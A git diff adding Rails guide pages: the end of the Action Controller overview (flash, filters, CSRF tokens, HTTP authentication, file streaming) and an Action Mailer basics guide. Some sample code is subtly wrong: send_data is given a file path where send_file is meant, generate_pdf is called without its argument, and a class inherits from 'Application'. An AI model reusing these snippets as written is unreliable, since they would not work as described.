layout: + +<ruby> +<html> + <!-- <head/> --> + <body> + <% if flash[:notice] -%> + <p class="notice"><%= flash[:notice] %></p> + <% end -%> + <% if flash[:error] -%> + <p class="error"><%= flash[:error] %></p> + <% end -%> + <!-- more content --> + </body> +</html> +</ruby> + +This way, if an action sets an error or a notice message, the layout will display it automatically. + +If you want a flash value to be carried over to another request, use the +keep+ method: + +<ruby> +class MainController < ApplicationController + # Let's say this action corresponds to root_url, but you want + # all requests here to be redirected to UsersController#index. + # If an action sets the flash and redirects here, the values + # would normally be lost when another redirect happens, but you + # can use 'keep' to make it persist for another request. + def index + # Will persist all flash values. + flash.keep + + # You can also use a key to keep only some kind of value. + # flash.keep(:notice) + redirect_to users_url + end +end +</ruby> + +h5. +flash.now+ + +By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+: + +<ruby> +class ClientsController < ApplicationController + def create + @client = Client.new(params[:client]) + if @client.save + # ... + else + flash.now[:error] = "Could not save client" + render :action => "new" + end + end +end +</ruby> + +h3. Cookies + +Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash: + +<ruby> +class CommentsController < ApplicationController + def new + # Auto-fill the commenter's name if it has been stored in a cookie + @comment = Comment.new(:name => cookies[:commenter_name]) + end + + def create + @comment = Comment.new(params[:comment]) + if @comment.save + flash[:notice] = "Thanks for your comment!" + if params[:remember_name] + # Remember the commenter's name. + cookies[:commenter_name] = @comment.name + else + # Delete cookie for the commenter's name cookie, if any. + cookies.delete(:commenter_name) + end + redirect_to @comment.article + else + render :action => "new" + end + end +end +</ruby> + +Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+. + +h3. Filters + +Filters are methods that are run before, after or "around" a controller action. + +Filters are inherited, so if you set a filter on +ApplicationController+, it will be run on every controller in your application. + +Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way: + +<ruby> +class ApplicationController < ActionController::Base + before_filter :require_login + +private + def require_login + unless logged_in? + flash[:error] = "You must be logged in to access this section" + redirect_to new_login_url # halts request cycle + end + end + + # The logged_in? method simply returns true if the user is logged + # in and false otherwise. It does this by "booleanizing" the + # current_user method we created previously using a double ! operator. + # Note that this is not common in Ruby and is discouraged unless you + # really mean to convert something into true or false. + def logged_in? + !!current_user + end +end +</ruby> + +The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled. + +In this example the filter is added to +ApplicationController+ and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with +skip_before_filter+: + +<ruby> +class LoginsController < Application + skip_before_filter :require_login, :only => [:new, :create] +end +</ruby> + +Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place. + +h4. After Filters and Around Filters + +In addition to before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. + +Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it. + +<ruby> +# Example taken from the Rails API filter documentation: +# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html +class ApplicationController < Application + around_filter :catch_exceptions + +private + def catch_exceptions + yield + rescue => exception + logger.debug "Caught exception! #{exception}" + raise + end +end +</ruby> + +h4. Other Ways to Use Filters + +While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing. + +The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the +require_login+ filter from above could be rewritten to use a block: + +<ruby> +class ApplicationController < ActionController::Base + before_filter do |controller| + redirect_to new_login_url unless controller.send(:logged_in?) + end +end +</ruby> + +Note that the filter in this case uses +send+ because the +logged_in?+ method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful. + +The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class: + +<ruby> +class ApplicationController < ActionController::Base + before_filter LoginFilter +end + +class LoginFilter + def self.filter(controller) + unless controller.send(:logged_in?) + controller.flash[:error] = "You must be logged in" + controller.redirect_to controller.new_login_url + end + end +end +</ruby> + +Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action. + +The Rails API documentation has "more information on using filters":http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html. + +h3. Verification + +Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the +params+, +session+ or +flash+ hashes or that a certain HTTP method was used or that the request was made using +XMLHTTPRequest+ (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the "API documentation":http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html as "essentially a special kind of before_filter". + +Here's an example of using verification to make sure the user supplies a username and a password in order to log in: + +<ruby> +class LoginsController < ApplicationController + verify :params => [:username, :password], + :render => {:action => "new"}, + :add_flash => { + :error => "Username and password required to log in" + } + + def create + @user = User.authenticate(params[:username], params[:password]) + if @user + flash[:notice] = "You're logged in" + redirect_to root_url + else + render :action => "new" + end + end +end +</ruby> + +Now the +create+ action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the +new+ action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the +:only+ and +:except+ options just like a filter: + +<ruby> +class LoginsController < ApplicationController + verify :params => [:username, :password], + :render => {:action => "new"}, + :add_flash => { + :error => "Username and password required to log in" + }, + :only => :create # Run only for the "create" action +end +</ruby> + +h3. Request Forgery Protection + +Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. + +The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. + +The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access. + +If you generate a form like this: + +<ruby> +<% form_for @user do |f| -%> + <%= f.text_field :username %> + <%= f.text_field :password -%> +<% end -%> +</ruby> + +You will see how the token gets added as a hidden field: + +<html> +<form action="/users/1" method="post"> +<input type="hidden" + value="67250ab105eb5ad10851c00a5621854a23af5489" + name="authenticity_token"/> +<!-- fields --> +</form> +</html> + +Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method +form_authenticity_token+: + +The +form_authenticity_token+ generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls. + +The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application. + +h3. The Request and Response Objects + +In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client. + +h4. The +request+ Object + +The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html. Among the properties that you can access on this object are: + +|_.Property of +request+|_.Purpose| +|host|The hostname used for this request.| +|domain(n=2)|The hostname's first +n+ segments, starting from the right (the TLD).| +|format|The content type requested by the client.| +|method|The HTTP method used for the request.| +|get?, post?, put?, delete?, head?|Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD.| +|headers|Returns a hash containing the headers associated with the request.| +|port|The port number (integer) used for the request.| +|protocol|Returns a string containing the protocol used plus "://", for example "http://".| +|query_string|The query string part of the URL, i.e., everything after "?".| +|remote_ip|The IP address of the client.| +|url|The entire URL used for the request.| + +h5. +path_parameters+, +query_parameters+, and +request_parameters+ + +Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action. + +h4. The +response+ Object + +The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values. + +|_.Property of +response+|_.Purpose| +|body|This is the string of data being sent back to the client. This is most often HTML.| +|status|The HTTP status code for the response, like 200 for a successful request or 404 for file not found.| +|location|The URL the client is being redirected to, if any.| +|content_type|The content type of the response.| +|charset|The character set being used for the response. Default is "utf-8".| +|headers|Headers used for the response.| + +h5. Setting Custom Headers + +If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way: + +<ruby> +response.headers["Content-Type"] = "application/pdf" +</ruby> + +h3. HTTP Authentications + +Rails comes with two built-in HTTP authentication mechanisms: + +* Basic Authentication +* Digest Authentication + +h4. HTTP Basic Authentication + +HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +authenticate_or_request_with_http_basic+. + +<ruby> +class AdminController < ApplicationController + USERNAME, PASSWORD = "humbaba", "5baa61e4" + + before_filter :authenticate + +private + def authenticate + authenticate_or_request_with_http_basic do |username, password| + username == USERNAME && + Digest::SHA1.hexdigest(password) == PASSWORD + end + end +end +</ruby> + +With this in place, you can create namespaced controllers that inherit from +AdminController+. The before filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. + +h4. HTTP Digest Authentication + +HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+. + +<ruby> +class AdminController < ApplicationController + USERS = { "lifo" => "world" } + + before_filter :authenticate + +private + def authenticate + authenticate_or_request_with_http_digest do |username| + USERS[username] + end + end +end +</ruby> + +As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure. + +h3. Streaming and File Downloads + +Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the +send_data+ and the +send_file+ methods, which will both stream data to the client. +send_file+ is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you. + +To stream data to the client, use +send_data+: + +<ruby> +require "prawn" +class ClientsController < ApplicationController + # Generates a PDF document with information on the client and + # returns it. The user will get the PDF as a file download. + def download_pdf + client = Client.find(params[:id]) + send_data(generate_pdf, + :filename => "#{client.name}.pdf", + :type => "application/pdf") + end + +private + + def generate_pdf(client) + Prawn::Document.new do + text client.name, :align => :center + text "Address: #{client.address}" + text "Email: #{client.email}" + end.render + end +end +</ruby> + +The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment". + +h4. Sending Files + +If you want to send a file that already exists on disk, use the +send_file+ method. + +<ruby> +class ClientsController < ApplicationController + # Stream a file that has already been generated and stored on disk. + def download_pdf + client = Client.find(params[:id]) + send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf", + :filename => "#{client.name}.pdf", + :type => "application/pdf") + end +end +</ruby> + +This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option. + +WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see. + +TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work. + +h4. RESTful Downloads + +While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming: + +<ruby> +class ClientsController < ApplicationController + # The user can request to receive this resource as HTML or PDF. + def show + @client = Client.find(params[:id]) + + respond_to do |format| + format.html + format.pdf { render :pdf => generate_pdf(@client) } + end + end +end +</ruby> + +In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file +config/initializers/mime_types.rb+: + +<ruby> +Mime::Type.register "application/pdf", :pdf +</ruby> + +NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect. + +Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL: + +<shell> +GET /clients/1.pdf +</shell> + +h3. Parameter Filtering + +Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The +filter_parameter_logging+ method can be used to filter out sensitive information from the log. It works by replacing certain values in the +params+ hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password": + +<ruby> +class ApplicationController < ActionController::Base + filter_parameter_logging :password +end +</ruby> + +The method works recursively through all levels of the +params+ hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true. + +h3. Rescue + +Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the +ActiveRecord::RecordNotFound+ exception. + +Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application: + +h4. The Default 500 and 404 Templates + +By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML. + +h4. +rescue_from+ + +If you want to do something a bit more elaborate when catching errors, you can use +rescue_from+, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. + +When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a +Proc+ object passed to the +:with+ option. You can also use a block directly instead of an explicit +Proc+ object. + +Here's how you can use +rescue_from+ to intercept all +ActiveRecord::RecordNotFound+ errors and do something with them. + +<ruby> +class ApplicationController < ActionController::Base + rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found + +private + def record_not_found + render :text => "404 Not Found", :status => 404 + end +end +</ruby> + +Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application: + +<ruby> +class ApplicationController < ActionController::Base + rescue_from User::NotAuthorized, :with => :user_not_authorized + +private + def user_not_authorized + flash[:error] = "You don't have access to this section." + redirect_to :back + end +end + +class ClientsController < ApplicationController + # Check that the user has the right authorization to access clients. + before_filter :check_authorization + + # Note how the actions don't have to worry about all the auth stuff. + def edit + @client = Client.find(params[:id]) + end + +private + # If the user is not authorized, just throw the exception. + def check_authorization + raise User::NotAuthorized unless current_user.admin? + end +end +</ruby> + +NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information. + +h3. Changelog + +"Lighthouse Ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17 + +* February 17, 2009: Yet another proofread by Xavier Noria. + +* November 4, 2008: First release version by Tore Darell diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile new file mode 100644 index 0000000000..9476635ae6 --- /dev/null +++ b/railties/guides/source/action_mailer_basics.textile @@ -0,0 +1,424 @@ +h2. Action Mailer Basics + +This guide should provide you with all you need to get started in sending and receiving emails from/to your application, and many internals of Action Mailer. It also covers how to test your mailers. + +endprologue. + +h3. Introduction + +Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating models that inherit from +ActionMailer::Base+ that live alongside other models in +app/models+. Those models have associated views that appear alongside controller views in +app/views+. + +h3. Sending Emails + +This section will provide a step-by-step guide to creating a mailer and its views. + +h4. Walkthrough to Generating a Mailer + +h5. Create the Mailer + +<shell> +./script/generate mailer UserMailer +exists app/models/ +create app/views/user_mailer +exists test/unit/ +create test/fixtures/user_mailer +create app/models/user_mailer.rb +create test/unit/user_mailer_test.rb +</shell> + +So we got the model, the fixtures, and the tests. + +h5. Edit the Model + ++app/models/user_mailer.rb+ contains an empty mailer: + +<ruby> +class UserMailer < ActionMailer::Base +end +</ruby> + +Let's add a method called +welcome_email+, that will send an email to the user's registered email address: + +<ruby> +class UserMailer < ActionMailer::Base + def welcome_email(user) + recipients user.email + from "My Awesome Site Notifications <notifications@example.com>" + subject "Welcome to My Awesome Site" + sent_on Time.now + body {:user => user, :url => "http://example.com/login"} + end +end +</ruby> + +Here is a quick explanation of the options presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of ActionMailer user-settable attributes section. + +|recipients| The recipients of the email. It can be a string or, if there are multiple recipients, an array of strings| +|from| The from address of the email| +|subject| The subject of the email| +|sent_on| The timestamp for the email| + +The keys of the hash passed to +body+ become instance variables in the view. Thus, in our example the mailer view will have a +@user+ and a +@url+ instance variables available. + +h5. Create a Mailer View + +Create a file called +welcome_email.text.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML: + +<erb> +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> +<html> + <head> + <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" /> + </head> + <body> + <h1>Welcome to example.com, <%=h @user.first_name %></h1> + <p> + You have successfully signed up to example.com, and your username is: <%= @user.login %>.<br/> + To login to the site, just follow this link: <%=h @url %>. + </p> + <p>Thanks for joining and have a great day!</p> + </body> +</html> +</erb> + +Had we wanted to send text-only emails, the file would have been called +welcome_email.text.plain.erb+. Rails sets the content type of the email to be the one in the filename. + +h5. Wire It Up So That the System Sends the Email When a User Signs Up + +There are three ways to achieve this. One is to send the email from the controller that sends the email, another is to put it in a +before_create+ callback in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it's wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent. + +Let's see how we would go about wiring it up using an observer: + +In +config/environment.rb+: + +<ruby> +Rails::Initializer.run do |config| + # ... + config.active_record.observers = :user_observer +end +</ruby> + +You can place the observer in +app/models+ where it will be loaded automatically by Rails. + +Now create a file called +user_observer.rb+ in +app/models+ depending on where you stored it, and make it look like: + +<ruby> +class UserObserver < ActiveRecord::Observer + def after_create(user) + UserMailer.deliver_welcome_email(user) + end +end +</ruby> + +Notice how we call +deliver_welcome_email+? In Action Mailer we send emails by calling +deliver_<method_name>+. In UserMailer, we defined a method called +welcome_email+, and so we deliver the email by calling +deliver_welcome_email+. The next section will go through how Action Mailer achieves this. + +h4. Action Mailer and Dynamic +deliver_<method_name>+ methods + +So how does Action Mailer understand this +deliver_welcome_email+ call? If you read the documentation (http://api.rubyonrails.org/files/vendor/rails/actionmailer/README.html), you will find this in the "Sending Emails" section: + +You never instantiate your mailer class. Rather, your delivery instance methods are automatically wrapped in class methods that start with the word +deliver_+ followed by the name of the mailer method that you would like to deliver. + +So, how exactly does this work? + +Looking at the +ActionMailer::Base+ source, you will find this: + +<ruby> +def method_missing(method_symbol, *parameters)#:nodoc: + case method_symbol.id2name + when /^create_([_a-z]\w*)/ then new($1, *parameters).mail + when /^deliver_([_a-z]\w*)/ then new($1, *parameters).deliver! + when "new" then nil + else super + end +end +</ruby> + +Hence, if the method name starts with +deliver_+ followed by any combination of lowercase letters or underscore, +method_missing+ calls +new+ on your mailer class (+UserMailer+ in our example above), sending the combination of lower case letters or underscore, along with the parameters. The resulting object is then sent the +deliver!+ method, which well... delivers it. + +h4. Complete List of Action Mailer User-Settable Attributes + +|bcc| The BCC addresses of the email| +|body| The body of the email. This is either a hash (in which case it specifies the variables to pass to the template when it is rendered), or a string, in which case it specifies the actual body of the message| +|cc| The CC addresses for the email| +|charset| The charset to use for the email. This defaults to the +default_charset+ specified for ActionMailer::Base.| +|content_type| The content type for the email. This defaults to "text/plain" but the filename may specify it| +|from| The from address of the email| +|reply_to| The address (if different than the "from" address) to direct replies to this email| +|headers| Additional headers to be added to the email| +|implicit_parts_order| The order in which parts should be sorted, based on the content type. This defaults to the value of +default_implicit_parts_order+| +|mime_version| Defaults to "1.0", but may be explicitly given if needed| +|recipient| The recipient addresses of the email, either as a string (for a single address) or an array of strings (for multiple addresses)| +|sent_on| The timestamp on which the message was sent. If unset, the header will be set by the delivery agent| +|subject| The subject of the email| +|template| The template to use. This is the "base" template name, without the extension or directory, and may be used to have multiple mailer methods share the same template| + +h4. Mailer Views + +Mailer views are located in the +app/views/name_of_mailer_class+ directory. The specific mailer view is known to the class because it's name is the same as the mailer method. So for example, in our example from above, our mailer view for the +welcome_email+ method will be in +app/views/user_mailer/welcome_email.text.html.erb+ for the HTML version and +welcome_email.text.plain.erb+ for the plain text version. + +To change the default mailer view for your action you do something like: + +<ruby> +class UserMailer < ActionMailer::Base + def welcome_email(user) + recipients user.email + from "My Awesome Site Notifications<notifications@example.com>" + subject "Welcome to My Awesome Site" + sent_on Time.now + body {:user => user, :url => "http://example.com/login"} + content_type "text/html" + # use some_other_template.text.(html|plain).erb instead + template "some_other_template" +end +</ruby> + +h4. Action Mailer Layouts + +Just like controller views, you can also have mailer layouts. The layout name needs to end in "_mailer" to be automatically recognized by your mailer as a layout. So in our UserMailer example, we need to call our layout +user_mailer.text.(html|plain).erb+. In order to use a different file just use: + +<ruby> +class UserMailer < ActionMailer::Base + layout 'awesome' # use awesome.text.(html|plain).erb as the layout +end +</ruby> + +Just like with controller views, use +yield+ to render the view inside the layout. + +h4. Generating URLs in Action Mailer Views + +URLs can be generated in mailer views using +url_for+ or named routes. +Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+: + +<erb> +<%= url_for(:host => "example.com", :controller => "welcome", :action => "greeting") %> +</erb> + +When using named routes you only need to supply the +:host+: + +<erb> +<%= users_url(:host => "example.com") %> +</erb> + +Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense. + +It is also possible to set a default host that will be used in all mailers by setting the +:host+ option in +the +ActionMailer::Base.default_url_options+ hash as follows: + +<erb> +ActionMailer::Base.default_url_options[:host] = "example.com" +</erb> + +This can also be set as a configuration option in +config/environment.rb+: + +<erb> +config.action_mailer.default_url_options = { :host => "example.com" } +</erb> + +If you set a default +:host+ for your mailers you need to pass +:only_path => false+ to +url_for+. Otherwise it doesn't get included. + +h4. Sending Multipart Emails + +Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.plain.erb+ and +welcome_email.text.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts. + +To explicitly specify multipart messages, you can do something like: + +<ruby> +class UserMailer < ActionMailer::Base + def welcome_email(user) + recipients user.email_address + subject "New account information" + from "system@example.com" + content_type "multipart/alternative" + + part :content_type => "text/html", + :body => "<p>html content, can also be the name of an action that you call<p>" + + part "text/plain" do |p| + p.body = "text content, can also be the name of an action that you call" + end + end +end +</ruby> + +h4. Sending Emails with Attachments + +Attachments can be added by using the +attachment+ method: + +<ruby> +class UserMailer < ActionMailer::Base + def welcome_email(user) + recipients user.email_address + subject "New account information" + from "system@example.com" + content_type "multipart/alternative" + + attachment :content_type => "image/jpeg", + :body => File.read("an-image.jpg") + + attachment "application/pdf" do |a| + a.body = generate_your_pdf_here() + end + end +end +</ruby> + +h4. Sending Multipart Emails with Attachments + +Once you use the +attachment+ method, ActionMailer will no longer automagically use the correct template based on the filename. You must declare which template you are using for each content type via the +part+ method. + +In the following example, there would be two template files, +welcome_email_html.erb+ and +welcome_email_plain.erb+ in the +app/views/user_mailer+ folder. + +<ruby> +class UserMailer < ActionMailer::Base + def welcome_email(user) + recipients user.email_address + subject "New account information" + from "system@example.com" + content_type "multipart/alternative" + + part "text/html" do |p| + p.body = render_message("welcome_email_html", :message => "<h1>HTML content</h1>") + end + + part "text/plain" do |p| + p.body = render_message("welcome_email_plain", :message => "text content") + end + + attachment :content_type => "image/jpeg", + :body => File.read("an-image.jpg") + + attachment "application/pdf" do |a| + a.body = generate_your_pdf_here() + end + end +end +</ruby> + +h3. Receiving Emails + +Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need: + +1. Implement a +receive+ method in your mailer. + +2. Configure your email server to forward emails from the address(es) you would like your app to receive to +/path/to/app/script/runner 'UserMailer.receive(STDIN.read)'+. + +Once a method called +receive+ is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer +receive+ instance method. Here's an example: + +<ruby> +class UserMailer < ActionMailer::Base + def receive(email) + page = Page.find_by_address(email.to.first) + page.emails.create( + :subject => email.subject, + :body => email.body + ) + + if email.has_attachments? + for attachment in email.attachments + page.attachments.create({ + :file => attachment, + :description => email.subject + }) + end + end + end +end +</ruby> + +h3. Using Action Mailer Helpers + +Action Mailer classes have 4 helper methods available to them: + +|add_template_helper(helper_module)|Makes all the (instance) methods in the helper module available to templates rendered through this controller.| +|helper(*args, &block)| Declare a helper: helper :foo requires 'foo_helper' and includes FooHelper in the template class. helper FooHelper includes FooHelper in the template class. helper { def foo() "#{bar} is the very best" end } evaluates the block in the template class, adding method foo. helper(:three, BlindHelper) { def mice() 'mice' end } does all three. | +|helper_method| Declare a controller method as a helper. For example, helper_method :link_to def link_to(name, options) ... end makes the link_to controller method available in the view.| +|helper_attr| Declare a controller attribute as a helper. For example, helper_attr :name attr_accessor :name makes the name and name= controller methods available in the view. The is a convenience wrapper for helper_method.| + +h3. Action Mailer Configuration + +The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...) + +|template_root|Determines the base from which template references will be made.| +|logger|the logger is used for generating information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.| +|smtp_settings|Allows detailed configuration for :smtp delivery method: :address - Allows you to use a remote mail server. Just change it from its default "localhost" setting. :port - On the off chance that your mail server doesn't run on port 25, you can change it. :domain - If you need to specify a HELO domain, you can do it here. :user_name - If your mail server requires authentication, set the username in this setting. :password - If your mail server requires authentication, set the password in this setting. :authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.| +|sendmail_settings|Allows you to override options for the :sendmail delivery method. :location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail. :arguments - The command line arguments. Defaults to -i -t.| +|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered.| +|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, and :test.| +|perform_deliveries|Determines whether deliver_* methods are actually carried out. By default they are, but this can be turned off to help functional testing.| +|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| +|default_charset|The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also pick a different charset from inside a method with charset.| +|default_content_type|The default content type used for the main part of the message. Defaults to "text/plain". You can also pick a different content type from inside a method with content_type.| +|default_mime_version|The default mime version used for the message. Defaults to 1.0. You can also pick a different value from inside a method with mime_version.| +|default_implicit_parts_order|When a message is built implicitly (i.e. multiple parts are assembled from templates which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to ["text/html", "text/enriched", "text/plain"]. Items that appear first in the array have higher priority in the mail client and appear last in the mime encoded message. You can also pick a different order from inside a method with implicit_parts_order.| + + +h4. Example Action Mailer Configuration + +An example would be: + +<ruby> +ActionMailer::Base.delivery_method = :sendmail +ActionMailer::Base.sendmail_settings = { + :location => '/usr/sbin/sendmail', + :arguments => '-i -t' +} +ActionMailer::Base.perform_deliveries = true +ActionMailer::Base.raise_delivery_errors = true +ActionMailer::Base.default_charset = "iso-8859-1" 